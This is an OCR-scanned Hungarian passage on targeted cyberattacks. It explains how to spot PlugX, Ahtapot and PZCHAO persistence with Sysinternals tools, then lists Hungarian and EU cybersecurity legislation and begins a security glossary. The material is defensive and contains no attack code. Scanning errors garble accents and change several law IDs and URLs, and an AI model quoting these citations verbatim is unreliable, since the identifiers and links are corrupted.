emlitettiink. Ezt meg lehet oldani manualis ellendrzéssel, a regisztracids adatbazis alapos atnézésével.
Szerencsére van némi segitség, elérhetdek olyan segédprogramok, amelyek osszegytjtik a kiillonb6zd
autostart modszerekkel elindul6 programokat.

A legnépszeriibb ezek koziil a Sysinternals programcsomag részét képezd autoruns.exe, kelleme-
sen hasznalhato grafikus feliileten jeleniti meg a temérdek autostart programot.
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A példaként szereplé Plugx backdoor a szervizek kozott talalhatdo meg:

64. abra: Az Autoruns altal kigytijtott automatikusan futo programok

A masik példaban szerepld Ahtapot az autorun bejegyzésekben lesz megtalalhato:

65. dbra: Az Ahtapot megtalaldsa az Autoruns listaban
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A PZCHAO kampanyban hasznalt iddzitett feladatot ugyancsak jelzi a program:

66. dabra: Idozitett feladat az Autoruns listdjaban

4.1.1. Plugx — side loading, service (in svchost memory space)

Amikor a Plugx backdoor mar feltelepiilve fut a rendszeren, nagyon kevés jele van a jelenlétének.
Mivel szervizként telepiilt fel, a fut6é folyamatok kozott nem jelenik meg (a futd szervizeket ugyanis
a svchost.exe neviit Windows komponens tolti be, ezért csak ez a folyamat fog latszani).

Ha a Sysinternals csomagba tartozd Process Explorer programot hasznaljuk a felderitésre, ami
rendkiviil részletes informaciot nyujt a futd programokrol, akkor is csak annyi utal a backdoor je-
lenlétére, hogy az egyik svchost.exe folyamat sziiljeként a betdltéshez hasznalt avp.exe programot
talalhatjuk meg.
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67. abra: A Plugx megtaldlasa a futo folyamatok kozott

Az ugyancsak a Sysinternals csomagban talalhatdé Process Monitor a futd programok tevékeny-
ségének kovetésére szolgdl. Ez elarulja, hogy a szoban forgd svchost.exe folyamat folyamatosan
figyeli a C:\ProgramData\RasTIs\itg fajl tartalmat, de ez az informacio is csak akkor segit, ha valaki
ismeri a PlugX pontos miikodését, és kifejezetten keresi a jeleket. Amugy dnmagaban nem gyanus
tevékenység.

68. abra: Plugx fajltevékenységek a Process Monitor listajaban
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kijelolésérdl és védelmérdl szol16 2012. évi CLXVI. torvény végrehajtasarol
https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al1300065.kor

187/2015. (VII. 13.) Korm. rendelet az elektronikus informaciés rendszerek biztonsagi fel-
tigyeletét ellatd hatosagok, valamint az informaciobiztonsagi feliigyeld feladat- és hataskoreé-
rdl, tovabba a zart célu elektronikus informacids rendszerek meghatarozasarol
https://net.jogtar.hu/jogszabaly?docid=al500187.kor

484/2013. (XII. 17.) Korm. rendelet a Nemzeti Kiberbiztonsagi Koordindcios Tandacs, vala-
mint a Kiberbiztonsagi Forum és a kiberbiztonsagi dgazati munkacsoportok létrehozéasaval,
mitkddtetésével kapcsolatos szabalyokrol, feladat- és hataskortiikrol
https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al300484.kor

535/2013. (XII. 30.) Korm. rendelet a pénziigyi intézmények, a befektetési vallalkozasok és
az arutézsdei szolgaltatok informatikai rendszerének védelmérdl. Hatdlyon kiviil helyezte:
42/2015. (11l. 12.) Korm. rendelet.

http://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=A1300535.KOR&txtreferer=A1300235.TV
1139/2013. (III. 21.) Korm. hatdrozat Magyarorszag Nemzeti Kiberbiztonsagi Stratégiajarol
http://www.kozlonyok.hu/nkonline/MKPDF/hiteles/MK 13047.pdf

60/2014. (III. 6.) Korm. rendelet a tamogatasbol megvalosul6 fejlesztések kdzponti monitor-
ingjarol és nyilvantartasarol

https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=a1400060.kor

1631/2014. (XI. 6.) Korm. hatarozat a Digitalis Nemzet Fejlesztési Program” megvalositasarol
http://net.jogtar.hu/jogszabaly?docid=A14H1631. KOR&getdoc=1

271/2018. (XII. 20.) Korm. rendelet az eseménykezeld kozpontok feladat- és hataskorérdl,
valamint a biztonsagi események kezelésének és miiszaki vizsgalatanak, tovabba a sériilé-
kenységvizsgalat lefolytatdsanak szabalyair6l
https://net.jogtar.hu/jogszabaly?docid=a1800271.kor

186/2015. (VII. 13.) Korm. rendelet a kdzpontositott informatikai €s elektronikus hirkozlési
szolgéltatd informaciobiztonsaggal kapcsolatos feladatkorérol
https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al1500186.kor

187/2015. (VII. 13.) Korm. rendelet az elektronikus informécids rendszerek biztonsagi fel-
tigyeletét ellatd hatdsagok, valamint az informacidbiztonsagi feliigyeld feladat- és hataskoré-
r0l, tovabba a zart célu elektronikus informécids rendszerek meghatarozasarol
https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=A1500187.KOR

1052/2015. (I. 16.) Korm. hatarozat a Kozigazgatas- és Kozszolgaltatas-fejlesztési Stratégi-
aval kapcsolatos feladatokrol

https://net.jogtar.hu/getpdf?docid=A15H1052.KOR &targetdate=fffffff4&printTit-
1e=1052/2015.+%2811.+16.%29+Korm.+hat%C3%A 1rozat&referer=http%3 A//net.jogtar.
hu/jr/gen/hjegy doc.cgi%3Fdocid%3D00000001.TXT

2012/2015. (XII. 29.) Korm. hatarozat az internetrdl és a digitalis fejlesztésekrdl szol6 nemze-
ti konzultacié eredményei alapjan a Kormany altal végrehajtando6 Digitalis J61ét Programjarol
https://net.jogtar.hu/jogszabaly?docid=A15H2012.KOR &timeshift=ffffftt4 & txtrefe-
rer=00000001.TXT

157/2016. (VI. 13.) Korm. rendelet a pénziigyi intézmények, a biztositok €és a viszontbizto-
sitok, tovabba a befektetési vallalkozasok és az arutdzsdei szolgaltatok informatikai rend-
szerének védelmérdl szolo 42/2015. (I1. 12.) Korm. rendelet modositasarol. Hatalyon kiviil
helyezve: 2010. évi CXXX. torvény 12. § alapjan.

http://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=A1600157. KOR &timeshift=fffIfff4&txtrefe-
rer=00000001.TXT

228/2016. (VII. 29.) Korm. rendelet az allami szervek informatikai fejlesztéseinek koordi-
naciojarol

https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al600228.kor
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CELZOTT KIBERTAMADASOK

1488/2016. (IX. 2.) Korm. hatarozat a Gyermekek Szdmara Biztonsagos Internetszolgaltatas
megteremtésérdl, a tudatos és értékteremtd internethasznélatrol és Magyarorszag Digitélis
Gyermekvédelmi Stratégiajarol

https://net.jogtar.hu/jogszabaly?docid=A16H1488. KOR &timeshift=fffft{t4 &txtrefe-
rer=00000001.TXT

1536/2016. (X. 13.) Korm. hatarozat a koznevelési, a szakképzési, a felsdoktatasi és a fel-
noéttképzési rendszer digitalis atalakitasarol és Magyarorszag Digitalis Oktatasi Stratégidjarol
https://net.jogtar.hu/jogszabaly?docid=A16H1536. KOR&timeshift=fffffff4 &txtrefe-
rer=00000001.TXT

1456/2017. (VIIL. 19.) Korm. hatarozat a Nemzeti Infokommunikaciés Stratégia 2016. évi
monitoring jelentésérdl, a Digitalis J6l1ét Program kibdvitésérdl, annak 2017-2018. évi Mun-
katerve elfogadasarodl, a digitalis infrastruktira, kompetencidk, gazdasag és kozigazgatas to-
vabbi fejlesztéseirdl
https://net.jogtar.hu/jogszabaly?docid=A17H1456. KOR & timeshift=fffffff4 &txtrefe-
rer=00000001.TXT

23/2013. (XI. 6.) MNB rendelet a jegybanki informacios rendszerhez els6dlegesen a Magyar
Nemzeti Bank alapvet6 feladatai ellatasa érdekében teljesitendd adatszolgaltatasi kotelezett-
ségekrdl. Hatalyon kiviil helyezte: 48/2014. (XI. 27.) MNB rendelet 5. §.
https://www.mnb.hu/letoltes/23-2013-xi-6-mnbrendelet.pdf

26/2013. (X. 21.) KIM rendelet az allami és dnkormanyzati szervek elektronikus informaci-
obiztonsagarol szo616 térvényben meghatarozott vezetdi és az elektronikus informacios rend-
szer biztonsagaért felelds személyek képzésének és tovabbképzésének tartalmarol
http://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=A1300026.KIM

16/2013. (VIIIL. 30.) HM rendelet a Magyar Honvédség, a Katonai Nemzetbiztonsagi Szol-
galat, a Honvédelmi Tanécs és a Kormany specialis mitkddését tamogatd elektronikus info-
kommunikécids rendszerek biztonsaganak feliigyeletérdl és ellendrzésérdl. Hatalyon kiviil
helyezte a 187/2015 (VII. 13.) Korm.rendelet.
http://www.kozlonyok.hu/kozlonyok/Kozlonyok/13/PDF/2013/9.pdf

41/2015. (VIL. 15.) BM rendelet az dllami és 6nkormanyzati szervek elektronikus informacio-
biztonsagardl sz616 2013. évi L. tdrvényben meghatarozott technologiai biztonsagi, valamint
biztonsagos informacios eszkdzokre, termékekre tovabba a biztonsagi osztalyba és a bizton-
sagi szintbe sorolasra vonatkozo kovetelményekrol

https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al500041.bm

42/2015. (VIL 15.) BM rendelet az elektronikus informaciobiztonsagrol szolo térvény hata-
lya alé tartozo egyes szervezetek hatdsagi nyilvantartasba vételének rendjérdl. Hatdalyon kiviil
helyezte a 44/2017. (XII. 29.) BM rendelet.

https://net.jogtar.hu/jr/gen/hjegy doc.cgi?docid=al500042.bm

Europai Unios jogi aktusok

Szamitastechnikai biinzésrodl sz6l6 Egyezmény (2001)
https://rm.coe.int/CoERMPublicCommonSearchServices/DisplayDCTMContent?docu-
mentld=09000016802fa405

Az Europai Parlament ¢és a Tandcs 460/2004/EK rendelete (2004. marcius 10) az Eurdpai
Haélozat és Informacidbiztonsagi Ugyndkség 1étrehozasarol
http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32004R0460:HU:HTML
Az Eurdpai Parlament és a Tanacs 526/2013/EU rendelete (2013. m4jus 21.) az Europai Uni-
6s Halozat- és Informéciobiztonsagi Ugyndkségrol (ENISA) és a 460/2004/EK rendelet ha-
talyon kiviil helyezésérdl
http://eur-lex.europa.eu/legal-content/HU/TXT/HTML/?uri=CELEX:32013R0526 & from=HU
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Az Europai Parlament ¢és a Tanacs (EU) 2016/679 rendelete (2016. aprilis 27.) természetes
személyeknek a személyes adatok kezelése tekintetében torténd védelmérdl és az ilyen ada-
tok szabad aramlasarol, valamint a 95/46/EK rendelet hatalyon kiviil helyezésérol
http://eur-lex.europa.eu/legal-content/HU/TXT/HTML/?uri=CELEX:32016R0679& from=HU
Az Eurdpai Parlament és a Tanacs rendelet tervezete az ENISA-rol, az ,,Europai Unios Kiber-
biztonsagi Ugyndkségrél”, az 526/2013/EU rendelet hatalyon kiviil helyezésérdl, valamint az
informdcios és kommunikaciods technologidk kiberbiztonsagi tanusitasarol
https://eur-lex.europa.eu/legal-content/HU/TXT/?uri=CELEX%3A52017PC0477R%2801%29
Az Eurdpai Parlament és a Tandcs 95/46/EK iranyelve a személyes adatok feldolgozéasa vo-
natkozéasaban az egyének védelmérdl és az ilyen adatok szabad aramlasarol
http://eur-lex.europa.eu/legal-content/HU/TXT/HTML/?uri=CELEX:31995L0046 & from=HU
Az Eurdpai Parlament és a Tanacs 2002/58/EK (2002. julius 12.) irdnyelve az elektronikus hir-
kozlési dgazatban a személyes adatok kezelésérdl, feldolgozasarol és a maganélet védelmérdl
http://eur-lex.europa.eu/legal-content/HU/TXT/HTML/?uri=CELEX:32002L0058 &from=HU
Az Europai Parlament és a Tanacs 2013. augusztus 12-1 2013/40/EU iranyelve az informacios
rendszerek elleni timadasokrol és a 2005/222/1B tanacsi kerethatarozat felvaltasarol
https://eur-lex.europa.eu/legal-content/HU/TXT/HTML/?uri=LEGISSUM:133193 & from=EN
Az Europai Parlament és a Tanacs (EU) 2016/1148 iranyelve (2016. julius 6.) a halozati és
informdcios rendszerek biztonsaganak az egész Unidban egységesen magas szintjét biztositd
intézkedésekrol
http://eur-lex.europa.ev/legal-content/HU/TXT/HTML/?uri=CELEX:32016L1148&from=HU
Az Eurdpai Uni6 Kiberbiztonsagi Stratégiaja: egy nyilt, biztonsagos és megbizhat6 kibertér
http://eur-lex.europa.eu/legal-content/ HU/TXT/HTML/?uri=CE-
LEX:52013JC0001&from=HU

Ko6z6s Kozlemény az Eurdpai Parlamentnek és A Tanacsnak: Ellenallo képesség, elrettentés,
védelem: az Unid erdteljes kiberbiztonsdganak kiépitése vonatkozasaban
http://eur-lex.europa.eu/legal-content/HU/TXT/PDF/?uri=CELEX:52017JC0450& from=EN
Az ENSZ Kozgytlés a 2003. december 8-i 58/32-es szamu hatdrozata
https://undocs.org/A/RES/58/32

Az Eurdpai Parlament 2012. junius 12-i allasfoglalasa ,,A kritikus informatikai infrastrukti-
rak védelme. Eredmények és kovetkezd 1épések: a globalis kiberbiztonsag felé” cimii doku-
mentumrol (2011/2284(INT))
https://eur-lex.europa.eu/legal-content/HU/TXT/PDF/?uri=CELEX:520121P0237&qid=152
1197299768&from=HU

A Tandacs kovetkeztetései a kiberdiploméciarol (2015)
http://data.consilium.europa.eu/doc/document/ST-6122-2015-INIT/hu/pdf

A Bizottsag 2017/1584 ajanlasa a nagyszabasu kiberbiztonsagi eseményekre ¢s valsaghelyze-
tekre vald 6sszehangolt reagalasrol
http://eur-lex.europa.eu/legal-content/HU/TXT/?uri=uriserv:OJ.L _.2017.239.01.0036.01.
HUN&toc=0J:L:2017:239:TOC

A Tandcs kovetkeztetései a rossz szandéku kibertevékenységekkel szembeni kozos unids dip-
lomaciai intézkedések keretérol (2017):
http://data.consilium.europa.eu/doc/document/ST-10474-2017-INIT/hu/pdf

. Kiilfoldi jogi aktusok

Az EBESZ Alland6 Tanicsanak PC.DEC/1039 szamt déntése:
https://www.osce.org/pc/90169?download=true

Az EBESZ bizalomépitd intézkedései: PC.DEC/1106
https://www.osce.org/pc/109168
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» Adat: Az informacié hordozdja, a tények, fogalmak vagy utasitdsok formalizalt abrazolasa,
amely az emberek vagy automatikus eszk6zok szamara kozlésre, megjelenitésre vagy feldol-
gozasra alkalmas. [1]

* Adatalany: Barmely meghatarozott személyes adat alapjan azonositott vagy egyébként —
kozvetleniil vagy kozvetve — azonosithatd természetes személy. A személy kiilondsen akkor
tekinthetd azonosithatonak, ha 6t — kozvetleniil vagy kdzvetve — név, azonosito jel, illetdleg
egy vagy tobb, fizikai, fizioldgiai, mentalis, gazdasagi, kulturalis vagy szocialis azonossagara
jellemzd tényezd alapjan azonositani lehet. [2]

» Adatbiztonsag: Az adatok jogosulatlan megszerzése, modositasa, tovabba megsemmisitése
ellen megtett miszaki €s szervezési megoldasok Osszességét kell érteni. Mindkét esetben
alapvetd cél az adat jogellenes kezelésének vagy feldolgozasanak megakadalyozasa, azaz az
adatok megfeleld intézkedésekkel torténd védelme a jogosulatlan hozzaférés, a megvaltozta-
tas, a tovabbitas, a nyilvanossagra hozatal, a torlés vagy a megsemmisités ellen, valamint a
sériilés elkeriilése érdekében. [2]

* Adathalaszat: Mas néven phishing, melynek 1ényege abban rejlik, hogy az adathalaszok a
felhasznalokat, valamilyen elektronikus csatornan keresztiil, — példaul e-mailben, azonnali
izenetben, vagy éppen szalagcim hirdetésekben — egy latszolag teljesen eredeti, valdjaban
pedig egy hamis weboldalra iranyitjak, ahol arra kérik, hogy adja meg bizalmas adatait. Az
adathalaszatnak szdmos valfaja van, aszerint, hogy milyen modon, milyen elektronikus csa-
tornan keresztiil invitaljak a felhasznalot a hamis weboldalra. [3]

» Adatfeldolgozas: Az adatkezelési muveletekhez kapcsoldodd technikai feladatok elvégzése
(fiiggetleniil a mtveletek végrehajtasdhoz alkalmazott modszertdl €s eszkoztdl, valamint az
alkalmazas helyétol). [2]

» Adatfeldolgozo: Az személy vagy szervezet, aki/amely az adatkezeldvel kotott szerzodése
alapjan — beleértve a jogszabaly rendelkezése alapjan torténd szerz0déskotést is — az adatok
feldolgozasat végzi. [2]

* Adathordozo6: Minden olyan anyagi eszkdz, mely alkalmas adatok megdrzésére, tarolasara.
Az Eurdpai Parlament és a Tanacs 2002/65/EK irdnyelve szerint, amely mar tartds adathor-
dozoként nevesit: olyan eszkdz, amely lehetdvé teszi a fogyasztd szamara a személyesen
neki cimzett adatoknak a jovOben is hozzaférhetd modon és az adat céljanak megfeleld ideig
torténd tarolasat, valamint a tarolt adatok valtozatlan formaban térténd megjelenitését”. igy
adathordozo6 a pendrive, a DVD, CD, SSD kartya, amely alkalmas kisebb vagy nagyobb
mennyiségli adat tarolasara. [4]

+ Adatkezelés: Az alkalmazott eljarastol fiiggetleniil az adatokon végzett barmely miivelet,
példaul az adatok gytjtése, felvétele, rogzitése, rendszerezése, taroldsa, megvaltoztatasa,
felhasznalasa, lekérdezése, tovabbitasa, nyilvanossagra hozatala, 6sszehangolasa vagy 0sz-
szekapcsoldsa, zarolasa, torlése és megsemmisitése, valamint az adatok tovabbi felhaszna-
lasdnak megakadalyozésa, fénykép-, hang- vagy képfelvétel készitése, valamint a személy
azonositasara alkalmas fizikai jellemzok (ujj- vagy tenyérnyomat, DNS-minta, iriszkép stb.)
rogzitése. [2]
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Adatkezel6: Az a személy vagy szervezet, aki/amely az adatok kezelésének céljat meghata-
rozza, az adatkezelésre (beleértve a felhasznalt eszkozt) vonatkozd dontéseket meghozza és
végrehajtja, vagy az altala megbizott adatfeldolgozoval végrehajtatja. [2]

Adatvédelem: A személyes adatok védelme. Az adatkezelés soran érintett személyek, azok
személyiségi jogainak, adataival valo 6nrendelkezési joganak védelme érdekében megvaldsi-
tand6/megvalositott, az adatkezelés modjara, formajara, tartalmara vonatkozé szabalyozasok
¢s eljarasok.[5]

Adatvédelmi incidens: A biztonsag olyan sériilése, amely a tovabbitott, tarolt vagy mas mo-
don kezelt személyes adatok véletlen vagy jogellenes megsemmisitését, elvesztését, megval-
toztatasat, jogosulatlan kozlését vagy az azokhoz valo jogosulatlan hozzaférést eredményezi.
A definici6 alapjan megallapithatd, hogy az olyan biztonséagi incidens, amely nem érint sze-
mélyes adatot nem adatvédelmi incidens, azonban valamennyi adatvédelmi incidens bizton-
sagi incidens. [2]

Adattal rendelkezés: A birtokban tartds, az adat alapjan tovabbi adat készitése, az adat ma-
soldsa, sokszorositdsa, a betekintés engedélyezése, a feldolgozas és felhasznalas, a mindsi-
tés (biztonsagi osztalyba sorolés) feliilvizsgalata, a mindsités (biztonsagi osztalyba sorolas)
feliilbiralata, a nyilvanossagra hozatal, titoktartasi kotelezettség aldli felmentés, megismerési
engedély kiadésa. [5]

Adminisztrativ védelem: A védelem érdekében hozott szervezési, szabalyozasi, ellendrzési
intézkedések, tovabba a védelemre vonatkozo oktatas. [5]

Advanced persistent threat (APT): Magas szintli, tartdos vagy mas néven (és az anyagban
is hasznalt) célzott timadas olyan titkos és folyamatos szamitogépes hackerfolyamatok so-
rozatat jelenti, amelyeket gyakran meghatarozott személy, személyek vagy szervezet ellen
kovetnek el. Az APT altalaban maganszervezetek, allamok vagy mindkettd ellen iranyul, és
tizleti vagy politikai motivumok vezérlik az elkovetdket, a cél altalaban informacidszerzés,
de eléfordult mar olyan tdmadas is, melynek célja a szabotdzs volt. [6]

Android: Linux kernelt hasznal6é mobil operaciés rendszer, elsésorban érintdképernyds mo-
bil eszkdzokre (okostelefon, tablagép) tervezve. [7]

Auditor: Valamilyen szempontrendszernek, eldirasnak, elvarasnak valdo megfelelést ellenor-
70 személy. [8]

Authentikacié: Az authentikacid az a folyamat, amelynek soran ellendrizziik a felhasznald
identitasat és azt, hogy hozzaférhet-e a rendszerhez. A felhasznalok azonositasakor az alabbi
négy lehetdség koziil valaszthatunk: tudas (valami, amit csak a felhasznald tud), tulajdon
vagy birtok (valami, ami csak a felhasznalonal van), tulajdonsag (a felhasznalora jellemz6
egyedi bioldgiai tulajdonsag). [9]

Automatizalt informatikai biztonsagi vizsgalat: Olyan biztonsagi vizsgalati eljaras, mely
soran az érintett szervezet informatikai rendszerének sériilékenységei kimondottan célszoft-
verek segitségével kertilnek feltérképezésre. [10]

Backdoor (hatso ajto) program: A felhasznalok szamara 4ltaldban nem lathatd elem, ame-
lyet a telepitést kovetden egy vagy tobb tavoli személynek lehetdséget biztosit a szamitogép
elérésére €s iranyitasara. Ennek segitségével a tamado megtekintheti a masik eszk6zon tarolt
adatokat, informaciokat, de akar modosithatja vagy tordlheti is ezeket. A program veszélyes-
sége abban rejlik, hogy nem csak tavoli elérést biztosithat idegeneknek, hanem rendszeradmi-
nisztracios jogok megszerzését is lehetdvé teheti. A backdoor programok a t6bbi rosszindu-
latt programhoz hasonléan telepiilhetnek adathordozok vagy e-mail, illetve egyéb internetes
letoltés mellékleteként). [11]

Bankbiztonsagi tevékenység: Mindazon tervezési, szervezési, iranyitasi, végrehajtasi és el-
lendrzési feltételekrdl vald intézményes gondolkodas, amely a pénzintézet sajat tulajdonu
targyainak, értékeinek, valamint az alkalmazottak és az iigyfelek biztonsdganak védelmét
szolgélja. [12]
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Banktitok: Minden olyan, az egyes iligyfelekrdl a pénziigyi intézmény rendelkezésére allo
tény, informacid, megoldas vagy adat, amely ligyfél személyére, adataira, vagyoni helyzetére,
iizleti tevékenységére, gazdalkodasara, tulajdonosi, tizleti kapcsolataira, valamint a pénziigyi
intézmény altal vezetett szamlajanak egyenlegére, forgalmara, tovabba a pénziigyi intéz-
ménnyel kotott szerzdédéseire vonatkozik. [5]

Bels6 adatvédelmi felelds (Infotv. szerinti adatvédelmi tisztvisel6): Az adatkezeld/adat-
feldolgoz6 szervezetén beliil, kdzvetleniil a szerv vezetdjének feliigyelete ald tartozd azon
munkavallalo, aki az adatvédelmi szabalyok betartasaért, a személyes adatok védelméért a
szervezet nevében felelds. [2]

Betorés detektald eszkoz: Olyan rendszer, amely minden észlelt aktivitast valos idében meg-
vizsgélva, egyenként eldonti, hogy az adott aktivitas legalis-e, vagy sem. Fajtai a minta alapu
betorés detektald eszk6zok (signatura-based IDS) és a viselkedést vizsgald betorés detektald
eszk6zok (behavior-based IDS). Intrusion Detecting Systems (roviditve: IDS). [13]

Big Data: A cégek, az intelligens halozatok, a maganszektor és az egyéni felhasznalok altal
vilagszerte és napi szinten eldallitott oriasi adatmennyiséget jelenti. Strukturdltan és kiele-
mezve ez a rengeteg informacid nagy hasznot hozhat a cégek és iigyfelek szamara. [14]
Biometrikus azonositas: Olyan eszkozok €s eljarasok Osszessége, amely a személyek mér-
heto testi tulajdonséagait hasznaljak fel valamilyen technika segitségével azonositasra vagy a
személyazonossag megallapitasara. Az azonositds szempontjabdl a legalkalmasabb adatok,
illetve eljarasok: a DNS-minta, ujjnyomatok, retinaképek, hangelemzés, iriszdiagnosztika,
tenyér vénamintainak azonositasa, gépelési minta alapt azonositas. [15]

Bitcoin: Egy virtudlis fizetd eszkdz, amely titkositott csatornan keresztiil teszi lehetdvé a fi-
zetést. Ennél fogva kiilonosen népszerl az illegalis cselekmények finanszirozasaban, legyen
sz0 kabitoszer-, fegyverkereskedelemrdl vagy akar terrorizmus finanszirozasrol. A legelso
¢és legismertebb kriptovaluta, 2009-ben keriilt kibocsatasra egy Satoshi Nakamoto alnéven
ismert ember altal. [16]

Bizalmassag elve: Az elektronikus informécios rendszer azon tulajdonsaga, amely szerint
az elektronikus informacids rendszerben tarolt adatot, informacidt csak az arra jogosultak és
csak a jogosultsaguk szintje szerint ismerhetik meg, hasznalhatjak fel, illetve rendelkezhet-
nek annak felhasznalasarol. [1]

Biztonsag: A biztonsagot olyan allapotnak tekinthetjiik, amelyben kizarhat6, vagy megbiz-
hatoan kezelhetd az esetlegesen bekovetkezd veszély, illetve adottak a veszéllyel szembeni
eredményes védekezés feltételei. [5]

Biztonsagi esemény: Nem kivant vagy nem vart egyedi esemény vagy eseménysorozat,
amely az elektronikus informacids rendszerben kedvezotlen valtozast vagy egy eldzoleg is-
meretlen helyzetet idéz eld, és amelynek hatasara az elektronikus informécios rendszer altal
hordozott informacié bizalmassaga, sértetlensége, hitelessége, funkcionalitidsa vagy rendel-
kezésre allasa elvész, illetve megsériil. [5]

Biztonsagi esemény kezelése: Az elektronikus informécios rendszerben bekovetkezett biz-
tonsagi esemény dokumentalasa, kovetkezményeinek felszamolasa, a bekovetkezés okainak
¢s feleloseinek megallapitasa, és a hasonld biztonsagi események jovobeni el6forduldsanak
megakadalyozésa érdekében végzett tervszerii tevékenység. [5]

Biztonsagi osztaly: Az elektronikus informacios rendszer védelmének elvart erfssége. [5]
Biztonsagi osztalyba sorolas: A kockézatok alapjan az elektronikus informacios rendszer
védelme elvart erdsségének meghatarozasa. [5]

Biztonsagi szint. A szervezet felkésziiltsége az e torvényben ¢€s a végrehajtasara kiadott jog-
szabalyokban meghatarozott biztonsagi feladatok kezelésére. [5]

Biztonsagi szintbe sorolas: a szervezet felkésziiltségének meghatarozasa az e térvényben és
a végrehajtasara kiadott jogszabalyokban meghatarozott biztonsagi feladatok kezelésére. [5]
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Biztonsagtudatossag: A felhasznald azon magatartasa, amikor betartja az informaciobizton-
sagi szabalyokat, megérti az informaciobiztonsdgban betdltott szerepét és figyel az 6t esetle-
gesen ¢érintd fenyegetésekre. [§]

Biztonsagtudatossagi kampany: Olyan par napig, hétig vagy honapig tarté akcidsorozat,
melynek célja a biztonsagtudatossag fejlesztése, fokozasa, az ismeretek naprakészen tartdsa.
[8]

Biztonsagtudatossagi oktatas: Olyan képzés, melynek célja a biztonsagtudatossagi ismere-
tek atadasa, a biztonsagtudatossag fejlesztése. [§]

Biztonsagtudatossagi program: Olyan, altalaban egész évet feloleld akcidsorozat, melynek
célja a biztonsagtudatossag fejlesztése, fokozasa, az ismeretek naprakészen tartasa. [8]
Biztonsagtudatossagi tréning: Olyan gyakorlatias képzés, melynek célja a biztonsagtuda-
tossagi ismeretek elmélyitése, begyakorlasa. [8]

Black-hat hacker: Ide tartoznak azok az ipari kémek, akik technologiai fejlesztések utan
kutatva tornek be halozatokba. Sok black-hat valik késobb white-hat hackerré, sét nagyon
nehezen képzelhetd el, hogy valaki ugy dolgozzon white-hat hackerként, hogy elétte soha
nem probalt betdrni egy szamitogépbe sem. Igy a hatar inkabb etikus és etikatlan hackerre
oszthato. [17]

Bot-halozat: A botnet olyan hal6zatra kapcsolt gépek 6sszessége, amelyek felett atvették az
iranyitast. Ezeket egész egyszeriien csak “botoknak”, vagy zombi gépeknek hivjuk. A ilyen
szamitogépeket tobbnyire valamilyen malware-rel fertézik meg azért, hogy a tavolbol is ira-
nyitani lehessen Oket. A “bot” kifejezés a “robot” szobol ered és csakigy, mint a robotok,
a szoftveres botok is lehetnek jok és rosszak is. Amikor a szamitégéplink egy botnet része,
akkor rendszerint malware-rel van megfertézve. A bot ilyenkor vagy egy tavoli szerverrel 1¢-
tesit kapcsolatot, vagy egész egyszeriien csak mas, kozeli botokkal 1ép kapcsolatba, majd ezt
kovetden varja az utasitasokat a haldzat iranyitdjatol. Mindez pedig lehetévé teszi a timado
szamara, hogy egyszerre tobb szamitogép iranyitasaval valosithassa meg az altaldban nem tal
,hemes” céljait. [18]

Call center: Egy vallalaton beliili — vagy kiszervezett — funkcid, amelynek segitségével a
szervezet nagyszamu telefonhivast képes hatékonyan kezelni. Magat azt a technikai eszkozt,
specidlis telefonkdzpont-szamitdgép-szoftver rendszert is call centernek nevezziik, ami ezt a
funkcidt ellatja. [19]

Célszemély: Olyan felhasznal6, akit a tamado kiszemel egy potencialis tamadas végrehajta-
sdhoz €s megprobal megtéveszteni. [§]

Célzott tamadasok (Targeted Attacks): Célzott timadasoknak nevezziik az olyan fenyegeté-
seket, melyeket a tamadok kifejezetten egy adott célpont (személy vagy szervezet) ellen hasz-
nalnak. Egy szamitogépes virushoz képest a fenyegetés “megalkotdja” ebben az esetben nem
arra torekszik, hogy a kartékony kod minél jobban elterjedjen, hanem arra, hogy a kiszemelt
célpont eszkozére, eszkdzeire bejusson. [13]

Célhoz kotott adatkezelés: Személyes adat kizarolag elére meghatarozott célbol kezelhetd,
valamely jog gyakorldsa vagy kotelezettség teljesitése érdekében. Az adatkezelésnek min-
den szakaszaban meg kell felelnie az adatkezelés céljanak, az adatok felvételének és keze-
1ésének tisztességesnek és torvényesnek kell lennie. Csak olyan személyes adat kezelhetd,
amely az adatkezelés céljanak megvalosulasahoz elengedhetetlen, a cél elérésére alkalmas.
A személyes adat csak a cél megvalosulasdhoz sziikséges mértékben és ideig kezelhetd. Az
adatkezelés soran biztositani kell, hogy az adatok pontosak, teljesek és — ha az adatkezelés
céljara tekintettel sziikséges — naprakészek legyenek, valamint azt, hogy az érintettet csak az
adatkezelés céljahoz sziikséges ideig lehessen azonositani. [20]
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Chipkartya: A mikroprocesszoros chipkartya jelenleg a legkorszeribb elektronikus adathor-
doz6 kértya. Maga a chipkartya elnevezés széles termékskalat jeldl. Ide tartozik minden olyan
bankkartya méreti (az ISO 7810 szabvany szerint) mlianyag kartya, amely beépitett mik-
rochipet tartalmaz, ugyanakkor paramétertdl fliggéen szamos tipust lehet megkiilonbdztetni.
A két alapvetd csoport az ,,unintelligens” memoriakartya és az intelligens mikroprocesszoros
kartya. [21]

CIA: Az elektronikus informécios rendszer védelmének alapvetd céljanak, a bizalmassag
(ang.: confidentiality), a sértetlenség (ang.: integrity) és a rendelkezésre allas (ang.: availabi-
lity) védelmi harmasanak jelolése. [5]

CMX gyakorlat (Crisis Management Exercise): A CMX a NATO egyik legfontosabb gya-
korlata, személyesen a NATO-f6titkar vezeti. A gyakorlat forgatokonyve teljes mértékben
fiktiv eseményeken alapul és fiktiv foldrajzi kdrnyezetben jatszodik: a leirt valsaghelyzet a
NATO kollektiv védelmi feladataira koncentral a Washingtoni Szerz6dés 4. és 5. cikkelye
szerinti szituacidban, beleértve ebbe ugy a targyaldsos valsagrendezést, mint a katonai meg-
oldas lehetdségét is. Olyan gyakorlatok, melyeket a Honvédelmi Minisztérium altal vezetett
szakember gardanak évente el kell végeznie. Kormanyzati szintli torzsvezetési gyakorlat,
melyen részt vesznek az érintett minisztériumok képviseldi, illetve meghatarozott, kijeldlt
intézményei. A Gyakorlatot a HM Védelmi Hivatala vezeti. A gyakorlat célja a szovetség
